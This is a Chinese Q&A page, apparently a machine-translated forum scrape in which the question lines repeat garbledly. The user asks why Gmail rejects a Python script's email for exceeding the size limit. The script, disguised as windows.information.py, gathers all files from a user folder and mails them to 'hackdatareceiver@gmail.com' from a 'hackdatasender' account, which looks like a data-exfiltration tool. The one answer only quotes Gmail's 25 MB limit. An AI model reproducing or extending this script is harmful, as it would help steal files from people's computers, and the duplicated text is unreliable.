我想通过Gmail发送文件,但我遇到了麻烦

时间:2018-04-27 11:55:17

标签: python python-3.x python-2.7 gmail

我想通过Gmail发送文件,但我遇到了麻烦

我想通过Gmail发送文件,但我遇到了麻烦

我想通过Gmail发送文件,但我遇到了麻烦

我更换了电子邮件和密码,但问题没有解决

我更换了电子邮件和密码,但问题没有解决

我更换了电子邮件和密码,但问题没有解决

地址可能存在问题。请帮帮我

地址可能存在问题。请帮帮我

地址可能存在问题。请帮帮我

我的错误:

Traceback (most recent call last):
File "C:\Users\Michael\Desktop\windows.information.py", line 83, in <module>
filenames)
File "C:\Users\Michael\Desktop\windows.information.py", line 75, in mail
mailServer.sendmail(gmail_user, to, msg.as_string())
File "C:\Program Files 1\Python2\lib\smtplib.py", line 737, in sendmail
raise SMTPSenderRefused(code, resp, from_addr)
smtplib.SMTPSenderRefused: (552, "5.2.3 Your message exceeded Google's message size limits. Please visit\n5.2.3  https://support.google.com/mail/?p=MaxSizeError to view our size\n5.2.3 guidelines. f192sm642881wmg.14 - gsmtp", 'hackdatasender@gmail.com')

我的剧本:

import os
import getpass
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
from email.MIMEBase import MIMEBase
from email import Encoders


windowsDrive = os.environ['WINDIR'].split(":\\")[0]
userName = getpass.getuser()
    # ===== Set up crap for the attachments
files = windowsDrive+':\\Users\\'+userName+'\\windows.information'
filenames = [os.path.join(files, f) for f in os.listdir(files)]
    ## ===== print filenames


    ## ===== Set up users for email
gmail_user = "hackdatasender@gmail.com"
gmail_pwd = "******"
recipients = ['hackdatareceiver@gmail.com']

    # ===== Create Module
def mail(to, subject, text, attach):
   msg = MIMEMultipart()
   msg['hackdatasender@gmail.com'] = gmail_user
   msg['hackdatareceiver@gmail.com'] = ", ".join(recipients)
   msg['Subject'] = subject

   msg.attach(MIMEText(text))

   ## ===== get all the attachments
   for file in filenames:
      part = MIMEBase('application', 'octet-stream')
      part.set_payload(open(file, 'rb').read())
      Encoders.encode_base64(part)
      part.add_header('Content-Disposition', 'attachment; filename="%s"' % file)
      msg.attach(part)

   mailServer = smtplib.SMTP("smtp.gmail.com", 587)
   mailServer.ehlo()
   mailServer.starttls()
   mailServer.ehlo()
   mailServer.login(gmail_user, gmail_pwd)
   mailServer.sendmail(gmail_user, to, msg.as_string())
   ## ===== Should be mailServer.quit(), but that crashes...
   mailServer.close()

    # ====== send it
mail(recipients,
   "*** M.1.G.0.A.4.W ***",
   "M.1.G.0.A.4.W",
   filenames)
  

如何发送超过25 MB的文件?

1 个答案:

答案 0 :(得分:0)

您收到的错误表明您发送的文件太大。

Your message exceeded Google's message size limits.

官方Gmail文档(link)声明:

  

您最多可以发送25 MB的附件。如果你有多个   附件,它们不能超过25 MB。